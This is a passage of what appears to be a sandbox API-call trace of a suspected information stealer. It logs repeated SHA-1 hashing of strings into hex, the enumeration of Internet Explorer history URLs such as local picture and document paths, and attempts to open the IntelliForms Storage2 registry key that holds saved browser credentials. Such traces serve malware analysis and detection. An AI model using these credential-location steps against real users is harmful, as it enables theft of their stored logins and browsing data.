lpString1=0x71d0010, lpString2="38FDBE78D287" | out: lpString1="38FDBE78D287") returned="38FDBE78D287" [0097.818] lstrcatW (in: lpString1="38FDBE78D287", lpString2="DA" | out: lpString1="38FDBE78D287DA") returned="38FDBE78D287DA" [0097.818] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.818] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3A") returned 2 [0097.818] lstrlenW (lpString="38FDBE78D287DA") returned 14 [0097.818] lstrlenW (lpString="3A") returned 2 [0097.818] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71ceee0 [0097.818] lstrcpyW (in: lpString1=0x71ceee0, lpString2="38FDBE78D287DA" | out: lpString1="38FDBE78D287DA") returned="38FDBE78D287DA" [0097.818] lstrcatW (in: lpString1="38FDBE78D287DA", lpString2="3A" | out: lpString1="38FDBE78D287DA3A") returned="38FDBE78D287DA3A" [0097.818] LocalFree (hMem=0x71d0010) returned 0x0 [0097.818] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0097.818] lstrlenW (lpString="38FDBE78D287DA3A") returned 16 [0097.818] lstrlenW (lpString="40") returned 2 [0097.818] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d0010 [0097.818] lstrcpyW (in: lpString1=0x71d0010, lpString2="38FDBE78D287DA3A" | out: lpString1="38FDBE78D287DA3A") returned="38FDBE78D287DA3A" [0097.818] lstrcatW (in: lpString1="38FDBE78D287DA3A", lpString2="40" | out: lpString1="38FDBE78D287DA3A40") returned="38FDBE78D287DA3A40" [0097.818] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.818] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E9") returned 2 [0097.818] lstrlenW (lpString="38FDBE78D287DA3A40") returned 18 [0097.818] lstrlenW (lpString="E9") returned 2 [0097.818] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.818] lstrcpyW (in: lpString1=0x7290b70, lpString2="38FDBE78D287DA3A40" | out: lpString1="38FDBE78D287DA3A40") returned="38FDBE78D287DA3A40" [0097.819] lstrcatW (in: lpString1="38FDBE78D287DA3A40", lpString2="E9" | out: lpString1="38FDBE78D287DA3A40E9") returned="38FDBE78D287DA3A40E9" [0097.819] LocalFree (hMem=0x71d0010) returned 0x0 [0097.819] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="52") returned 2 [0097.819] lstrlenW (lpString="38FDBE78D287DA3A40E9") returned 20 [0097.819] lstrlenW (lpString="52") returned 2 [0097.819] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.819] lstrcpyW (in: lpString1=0x72912f0, lpString2="38FDBE78D287DA3A40E9" | out: lpString1="38FDBE78D287DA3A40E9") returned="38FDBE78D287DA3A40E9" [0097.819] lstrcatW (in: lpString1="38FDBE78D287DA3A40E9", lpString2="52" | out: lpString1="38FDBE78D287DA3A40E952") returned="38FDBE78D287DA3A40E952" [0097.819] LocalFree (hMem=0x7290b70) returned 0x0 [0097.819] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="95") returned 2 [0097.819] lstrlenW (lpString="38FDBE78D287DA3A40E952") returned 22 [0097.819] lstrlenW (lpString="95") returned 2 [0097.819] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.819] lstrcpyW (in: lpString1=0x7290b70, lpString2="38FDBE78D287DA3A40E952" | out: lpString1="38FDBE78D287DA3A40E952") returned="38FDBE78D287DA3A40E952" [0097.819] lstrcatW (in: lpString1="38FDBE78D287DA3A40E952", lpString2="95" | out: lpString1="38FDBE78D287DA3A40E95295") returned="38FDBE78D287DA3A40E95295" [0097.819] LocalFree (hMem=0x72912f0) returned 0x0 [0097.819] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="77") returned 2 [0097.819] lstrlenW (lpString="38FDBE78D287DA3A40E95295") returned 24 [0097.819] lstrlenW (lpString="77") returned 2 [0097.819] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.819] lstrcpyW (in: lpString1=0x72912f0, lpString2="38FDBE78D287DA3A40E95295" | out: lpString1="38FDBE78D287DA3A40E95295") returned="38FDBE78D287DA3A40E95295" [0097.819] lstrcatW (in: lpString1="38FDBE78D287DA3A40E95295", lpString2="77" | out: lpString1="38FDBE78D287DA3A40E9529577") returned="38FDBE78D287DA3A40E9529577" [0097.819] LocalFree (hMem=0x7290b70) returned 0x0 [0097.819] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="20") returned 2 [0097.819] lstrlenW (lpString="38FDBE78D287DA3A40E9529577") returned 26 [0097.819] lstrlenW (lpString="20") returned 2 [0097.819] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815190 [0097.819] lstrcpyW (in: lpString1=0x2815190, lpString2="38FDBE78D287DA3A40E9529577" | out: lpString1="38FDBE78D287DA3A40E9529577") returned="38FDBE78D287DA3A40E9529577" [0097.819] lstrcatW (in: lpString1="38FDBE78D287DA3A40E9529577", lpString2="20" | out: lpString1="38FDBE78D287DA3A40E952957720") returned="38FDBE78D287DA3A40E952957720" [0097.819] LocalFree (hMem=0x72912f0) returned 0x0 [0097.819] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BD") returned 2 [0097.819] lstrlenW (lpString="38FDBE78D287DA3A40E952957720") returned 28 [0097.819] lstrlenW (lpString="BD") returned 2 [0097.819] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2814970 [0097.819] lstrcpyW (in: lpString1=0x2814970, lpString2="38FDBE78D287DA3A40E952957720" | out: lpString1="38FDBE78D287DA3A40E952957720") returned="38FDBE78D287DA3A40E952957720" [0097.819] lstrcatW (in: lpString1="38FDBE78D287DA3A40E952957720", lpString2="BD" | out: lpString1="38FDBE78D287DA3A40E952957720BD") returned="38FDBE78D287DA3A40E952957720BD" [0097.819] LocalFree (hMem=0x2815190) returned 0x0 [0097.819] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="79") returned 2 [0097.819] lstrlenW (lpString="38FDBE78D287DA3A40E952957720BD") returned 30 [0097.820] lstrlenW (lpString="79") returned 2 [0097.820] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815190 [0097.820] lstrcpyW (in: lpString1=0x2815190, lpString2="38FDBE78D287DA3A40E952957720BD" | out: lpString1="38FDBE78D287DA3A40E952957720BD") returned="38FDBE78D287DA3A40E952957720BD" [0097.820] lstrcatW (in: lpString1="38FDBE78D287DA3A40E952957720BD", lpString2="79" | out: lpString1="38FDBE78D287DA3A40E952957720BD79") returned="38FDBE78D287DA3A40E952957720BD79" [0097.820] LocalFree (hMem=0x2814970) returned 0x0 [0097.820] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="36") returned 2 [0097.820] lstrlenW (lpString="38FDBE78D287DA3A40E952957720BD79") returned 32 [0097.820] lstrlenW (lpString="36") returned 2 [0097.820] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2814970 [0097.820] lstrcpyW (in: lpString1=0x2814970, lpString2="38FDBE78D287DA3A40E952957720BD79" | out: lpString1="38FDBE78D287DA3A40E952957720BD79") returned="38FDBE78D287DA3A40E952957720BD79" [0097.820] lstrcatW (in: lpString1="38FDBE78D287DA3A40E952957720BD79", lpString2="36" | out: lpString1="38FDBE78D287DA3A40E952957720BD7936") returned="38FDBE78D287DA3A40E952957720BD7936" [0097.820] LocalFree (hMem=0x2815190) returned 0x0 [0097.820] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C0") returned 2 [0097.820] lstrlenW (lpString="38FDBE78D287DA3A40E952957720BD7936") returned 34 [0097.820] lstrlenW (lpString="C0") returned 2 [0097.820] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.820] lstrcpyW (in: lpString1=0x28e7910, lpString2="38FDBE78D287DA3A40E952957720BD7936" | out: lpString1="38FDBE78D287DA3A40E952957720BD7936") returned="38FDBE78D287DA3A40E952957720BD7936" [0097.820] lstrcatW (in: lpString1="38FDBE78D287DA3A40E952957720BD7936", lpString2="C0" | out: lpString1="38FDBE78D287DA3A40E952957720BD7936C0") returned="38FDBE78D287DA3A40E952957720BD7936C0" [0097.820] LocalFree (hMem=0x2814970) returned 0x0 [0097.820] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="13") returned 2 [0097.820] lstrlenW (lpString="38FDBE78D287DA3A40E952957720BD7936C0") returned 36 [0097.820] lstrlenW (lpString="13") returned 2 [0097.820] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.820] lstrcpyW (in: lpString1=0x28e7670, lpString2="38FDBE78D287DA3A40E952957720BD7936C0" | out: lpString1="38FDBE78D287DA3A40E952957720BD7936C0") returned="38FDBE78D287DA3A40E952957720BD7936C0" [0097.820] lstrcatW (in: lpString1="38FDBE78D287DA3A40E952957720BD7936C0", lpString2="13" | out: lpString1="38FDBE78D287DA3A40E952957720BD7936C013") returned="38FDBE78D287DA3A40E952957720BD7936C013" [0097.820] LocalFree (hMem=0x28e7910) returned 0x0 [0097.820] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="33") returned 2 [0097.820] lstrlenW (lpString="38FDBE78D287DA3A40E952957720BD7936C013") returned 38 [0097.820] lstrlenW (lpString="33") returned 2 [0097.820] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.820] lstrcpyW (in: lpString1=0x28e7910, lpString2="38FDBE78D287DA3A40E952957720BD7936C013" | out: lpString1="38FDBE78D287DA3A40E952957720BD7936C013") returned="38FDBE78D287DA3A40E952957720BD7936C013" [0097.820] lstrcatW (in: lpString1="38FDBE78D287DA3A40E952957720BD7936C013", lpString2="33" | out: lpString1="38FDBE78D287DA3A40E952957720BD7936C01333") returned="38FDBE78D287DA3A40E952957720BD7936C01333" [0097.820] LocalFree (hMem=0x28e7670) returned 0x0 [0097.820] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F1") returned 2 [0097.820] lstrlenW (lpString="38FDBE78D287DA3A40E952957720BD7936C01333") returned 40 [0097.820] lstrlenW (lpString="F1") returned 2 [0097.820] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.820] lstrcpyW (in: lpString1=0x28e7670, lpString2="38FDBE78D287DA3A40E952957720BD7936C01333" | out: lpString1="38FDBE78D287DA3A40E952957720BD7936C01333") returned="38FDBE78D287DA3A40E952957720BD7936C01333" [0097.821] lstrcatW (in: lpString1="38FDBE78D287DA3A40E952957720BD7936C01333", lpString2="F1" | out: lpString1="38FDBE78D287DA3A40E952957720BD7936C01333F1") returned="38FDBE78D287DA3A40E952957720BD7936C01333F1" [0097.821] LocalFree (hMem=0x28e7910) returned 0x0 [0097.821] CryptDestroyHash (hHash=0x7204020) returned 1 [0097.821] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.821] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.821] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.821] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.821] LocalFree (hMem=0x28e7670) returned 0x0 [0097.821] CoTaskMemFree (pv=0x7182d10) [0097.821] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.821] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/ZqsuflN%20AEi3v1k.bmp", lpSrch="?") returned 0x0 [0097.821] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.822] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.822] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/ZqsuflN%20AEi3v1k.bmp") returned 82 [0097.822] CryptHashData (hHash=0x7203e60, pbData=0x71cf1a0, dwDataLen=0xa6, dwFlags=0x0) returned 1 [0097.822] CryptGetHashParam (in: hHash=0x7203e60, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.822] CryptDestroyHash (hHash=0x7203e60) returned 1 [0097.822] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.822] CoTaskMemFree (pv=0x71cf1a0) [0097.822] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.822] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/qKmq.docx", lpSrch="?") returned 0x0 [0097.822] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.823] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.823] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/qKmq.docx") returned 45 [0097.823] CryptHashData (hHash=0x7203d80, pbData=0x7203920, dwDataLen=0x5c, dwFlags=0x0) returned 1 [0097.823] CryptGetHashParam (in: hHash=0x7203d80, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.823] CryptDestroyHash (hHash=0x7203d80) returned 1 [0097.823] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.823] CoTaskMemFree (pv=0x7203920) [0097.823] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.823] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/CHfCw6OmU8G8iT.jpg", lpSrch="?") returned 0x0 [0097.823] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.823] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.823] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/CHfCw6OmU8G8iT.jpg") returned 52 [0097.823] CryptHashData (hHash=0x7203920, pbData=0x71e6320, dwDataLen=0x6a, dwFlags=0x0) returned 1 [0097.823] CryptGetHashParam (in: hHash=0x7203920, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.824] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CC") returned 2 [0097.824] lstrlenW (lpString="") returned 0 [0097.824] lstrlenW (lpString="CC") returned 2 [0097.824] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7182d10 [0097.824] lstrcpyW (in: lpString1=0x7182d10, lpString2="" | out: lpString1="") returned="" [0097.824] lstrcatW (in: lpString1="", lpString2="CC" | out: lpString1="CC") returned="CC" [0097.824] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EC") returned 2 [0097.824] lstrlenW (lpString="CC") returned 2 [0097.824] lstrlenW (lpString="EC") returned 2 [0097.824] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c7d60 [0097.824] lstrcpyW (in: lpString1=0x28c7d60, lpString2="CC" | out: lpString1="CC") returned="CC" [0097.824] lstrcatW (in: lpString1="CC", lpString2="EC" | out: lpString1="CCEC") returned="CCEC" [0097.824] LocalFree (hMem=0x7182d10) returned 0x0 [0097.824] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B1") returned 2 [0097.824] lstrlenW (lpString="CCEC") returned 4 [0097.824] lstrlenW (lpString="B1") returned 2 [0097.824] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c7680 [0097.824] lstrcpyW (in: lpString1=0x28c7680, lpString2="CCEC" | out: lpString1="CCEC") returned="CCEC" [0097.824] lstrcatW (in: lpString1="CCEC", lpString2="B1" | out: lpString1="CCECB1") returned="CCECB1" [0097.824] LocalFree (hMem=0x28c7d60) returned 0x0 [0097.824] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7B") returned 2 [0097.824] lstrlenW (lpString="CCECB1") returned 6 [0097.824] lstrlenW (lpString="7B") returned 2 [0097.824] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c7d60 [0097.824] lstrcpyW (in: lpString1=0x28c7d60, lpString2="CCECB1" | out: lpString1="CCECB1") returned="CCECB1" [0097.824] lstrcatW (in: lpString1="CCECB1", lpString2="7B" | out: lpString1="CCECB17B") returned="CCECB17B" [0097.824] LocalFree (hMem=0x28c7680) returned 0x0 [0097.824] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="26") returned 2 [0097.824] lstrlenW (lpString="CCECB17B") returned 8 [0097.824] lstrlenW (lpString="26") returned 2 [0097.824] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c7680 [0097.824] lstrcpyW (in: lpString1=0x28c7680, lpString2="CCECB17B" | out: lpString1="CCECB17B") returned="CCECB17B" [0097.824] lstrcatW (in: lpString1="CCECB17B", lpString2="26" | out: lpString1="CCECB17B26") returned="CCECB17B26" [0097.824] LocalFree (hMem=0x28c7d60) returned 0x0 [0097.824] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DC") returned 2 [0097.824] lstrlenW (lpString="CCECB17B26") returned 10 [0097.824] lstrlenW (lpString="DC") returned 2 [0097.824] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf1a0 [0097.825] lstrcpyW (in: lpString1=0x71cf1a0, lpString2="CCECB17B26" | out: lpString1="CCECB17B26") returned="CCECB17B26" [0097.825] lstrcatW (in: lpString1="CCECB17B26", lpString2="DC" | out: lpString1="CCECB17B26DC") returned="CCECB17B26DC" [0097.825] LocalFree (hMem=0x28c7680) returned 0x0 [0097.825] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BB") returned 2 [0097.825] lstrlenW (lpString="CCECB17B26DC") returned 12 [0097.825] lstrlenW (lpString="BB") returned 2 [0097.825] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf250 [0097.825] lstrcpyW (in: lpString1=0x71cf250, lpString2="CCECB17B26DC" | out: lpString1="CCECB17B26DC") returned="CCECB17B26DC" [0097.825] lstrcatW (in: lpString1="CCECB17B26DC", lpString2="BB" | out: lpString1="CCECB17B26DCBB") returned="CCECB17B26DCBB" [0097.825] LocalFree (hMem=0x71cf1a0) returned 0x0 [0097.825] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="63") returned 2 [0097.825] lstrlenW (lpString="CCECB17B26DCBB") returned 14 [0097.825] lstrlenW (lpString="63") returned 2 [0097.825] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf1a0 [0097.825] lstrcpyW (in: lpString1=0x71cf1a0, lpString2="CCECB17B26DCBB" | out: lpString1="CCECB17B26DCBB") returned="CCECB17B26DCBB" [0097.825] lstrcatW (in: lpString1="CCECB17B26DCBB", lpString2="63" | out: lpString1="CCECB17B26DCBB63") returned="CCECB17B26DCBB63" [0097.825] LocalFree (hMem=0x71cf250) returned 0x0 [0097.825] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="68") returned 2 [0097.825] lstrlenW (lpString="CCECB17B26DCBB63") returned 16 [0097.825] lstrlenW (lpString="68") returned 2 [0097.825] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf250 [0097.825] lstrcpyW (in: lpString1=0x71cf250, lpString2="CCECB17B26DCBB63" | out: lpString1="CCECB17B26DCBB63") returned="CCECB17B26DCBB63" [0097.825] lstrcatW (in: lpString1="CCECB17B26DCBB63", lpString2="68" | out: lpString1="CCECB17B26DCBB6368") returned="CCECB17B26DCBB6368" [0097.825] LocalFree (hMem=0x71cf1a0) returned 0x0 [0097.825] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6D") returned 2 [0097.825] lstrlenW (lpString="CCECB17B26DCBB6368") returned 18 [0097.825] lstrlenW (lpString="6D") returned 2 [0097.825] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.825] lstrcpyW (in: lpString1=0x72912f0, lpString2="CCECB17B26DCBB6368" | out: lpString1="CCECB17B26DCBB6368") returned="CCECB17B26DCBB6368" [0097.825] lstrcatW (in: lpString1="CCECB17B26DCBB6368", lpString2="6D" | out: lpString1="CCECB17B26DCBB63686D") returned="CCECB17B26DCBB63686D" [0097.825] LocalFree (hMem=0x71cf250) returned 0x0 [0097.825] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A6") returned 2 [0097.825] lstrlenW (lpString="CCECB17B26DCBB63686D") returned 20 [0097.825] lstrlenW (lpString="A6") returned 2 [0097.825] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.825] lstrcpyW (in: lpString1=0x7290b70, lpString2="CCECB17B26DCBB63686D" | out: lpString1="CCECB17B26DCBB63686D") returned="CCECB17B26DCBB63686D" [0097.825] lstrcatW (in: lpString1="CCECB17B26DCBB63686D", lpString2="A6" | out: lpString1="CCECB17B26DCBB63686DA6") returned="CCECB17B26DCBB63686DA6" [0097.825] LocalFree (hMem=0x72912f0) returned 0x0 [0097.826] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EC") returned 2 [0097.826] lstrlenW (lpString="CCECB17B26DCBB63686DA6") returned 22 [0097.826] lstrlenW (lpString="EC") returned 2 [0097.826] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.826] lstrcpyW (in: lpString1=0x72912f0, lpString2="CCECB17B26DCBB63686DA6" | out: lpString1="CCECB17B26DCBB63686DA6") returned="CCECB17B26DCBB63686DA6" [0097.826] lstrcatW (in: lpString1="CCECB17B26DCBB63686DA6", lpString2="EC" | out: lpString1="CCECB17B26DCBB63686DA6EC") returned="CCECB17B26DCBB63686DA6EC" [0097.826] LocalFree (hMem=0x7290b70) returned 0x0 [0097.826] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="71") returned 2 [0097.826] lstrlenW (lpString="CCECB17B26DCBB63686DA6EC") returned 24 [0097.826] lstrlenW (lpString="71") returned 2 [0097.826] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.826] lstrcpyW (in: lpString1=0x7290b70, lpString2="CCECB17B26DCBB63686DA6EC" | out: lpString1="CCECB17B26DCBB63686DA6EC") returned="CCECB17B26DCBB63686DA6EC" [0097.826] lstrcatW (in: lpString1="CCECB17B26DCBB63686DA6EC", lpString2="71" | out: lpString1="CCECB17B26DCBB63686DA6EC71") returned="CCECB17B26DCBB63686DA6EC71" [0097.826] LocalFree (hMem=0x72912f0) returned 0x0 [0097.826] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0097.826] lstrlenW (lpString="CCECB17B26DCBB63686DA6EC71") returned 26 [0097.826] lstrlenW (lpString="54") returned 2 [0097.826] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2814970 [0097.826] lstrcpyW (in: lpString1=0x2814970, lpString2="CCECB17B26DCBB63686DA6EC71" | out: lpString1="CCECB17B26DCBB63686DA6EC71") returned="CCECB17B26DCBB63686DA6EC71" [0097.826] lstrcatW (in: lpString1="CCECB17B26DCBB63686DA6EC71", lpString2="54" | out: lpString1="CCECB17B26DCBB63686DA6EC7154") returned="CCECB17B26DCBB63686DA6EC7154" [0097.826] LocalFree (hMem=0x7290b70) returned 0x0 [0097.826] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="72") returned 2 [0097.826] lstrlenW (lpString="CCECB17B26DCBB63686DA6EC7154") returned 28 [0097.826] lstrlenW (lpString="72") returned 2 [0097.826] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815190 [0097.826] lstrcpyW (in: lpString1=0x2815190, lpString2="CCECB17B26DCBB63686DA6EC7154" | out: lpString1="CCECB17B26DCBB63686DA6EC7154") returned="CCECB17B26DCBB63686DA6EC7154" [0097.826] lstrcatW (in: lpString1="CCECB17B26DCBB63686DA6EC7154", lpString2="72" | out: lpString1="CCECB17B26DCBB63686DA6EC715472") returned="CCECB17B26DCBB63686DA6EC715472" [0097.826] LocalFree (hMem=0x2814970) returned 0x0 [0097.826] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="27") returned 2 [0097.826] lstrlenW (lpString="CCECB17B26DCBB63686DA6EC715472") returned 30 [0097.826] lstrlenW (lpString="27") returned 2 [0097.826] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2814970 [0097.826] lstrcpyW (in: lpString1=0x2814970, lpString2="CCECB17B26DCBB63686DA6EC715472" | out: lpString1="CCECB17B26DCBB63686DA6EC715472") returned="CCECB17B26DCBB63686DA6EC715472" [0097.826] lstrcatW (in: lpString1="CCECB17B26DCBB63686DA6EC715472", lpString2="27" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227") returned="CCECB17B26DCBB63686DA6EC71547227" [0097.826] LocalFree (hMem=0x2815190) returned 0x0 [0097.826] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D3") returned 2 [0097.826] lstrlenW (lpString="CCECB17B26DCBB63686DA6EC71547227") returned 32 [0097.826] lstrlenW (lpString="D3") returned 2 [0097.827] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815190 [0097.827] lstrcpyW (in: lpString1=0x2815190, lpString2="CCECB17B26DCBB63686DA6EC71547227" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227") returned="CCECB17B26DCBB63686DA6EC71547227" [0097.827] lstrcatW (in: lpString1="CCECB17B26DCBB63686DA6EC71547227", lpString2="D3" | out: lpString1="CCECB17B26DCBB63686DA6EC71547227D3") returned="CCECB17B26DCBB63686DA6EC71547227D3" [0097.827] LocalFree (hMem=0x2814970) returned 0x0 [0097.827] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0097.827] lstrlenW (lpString="CCECB17B26DCBB63686DA6EC71547227D3") returned 34 [0097.827] lstrlenW 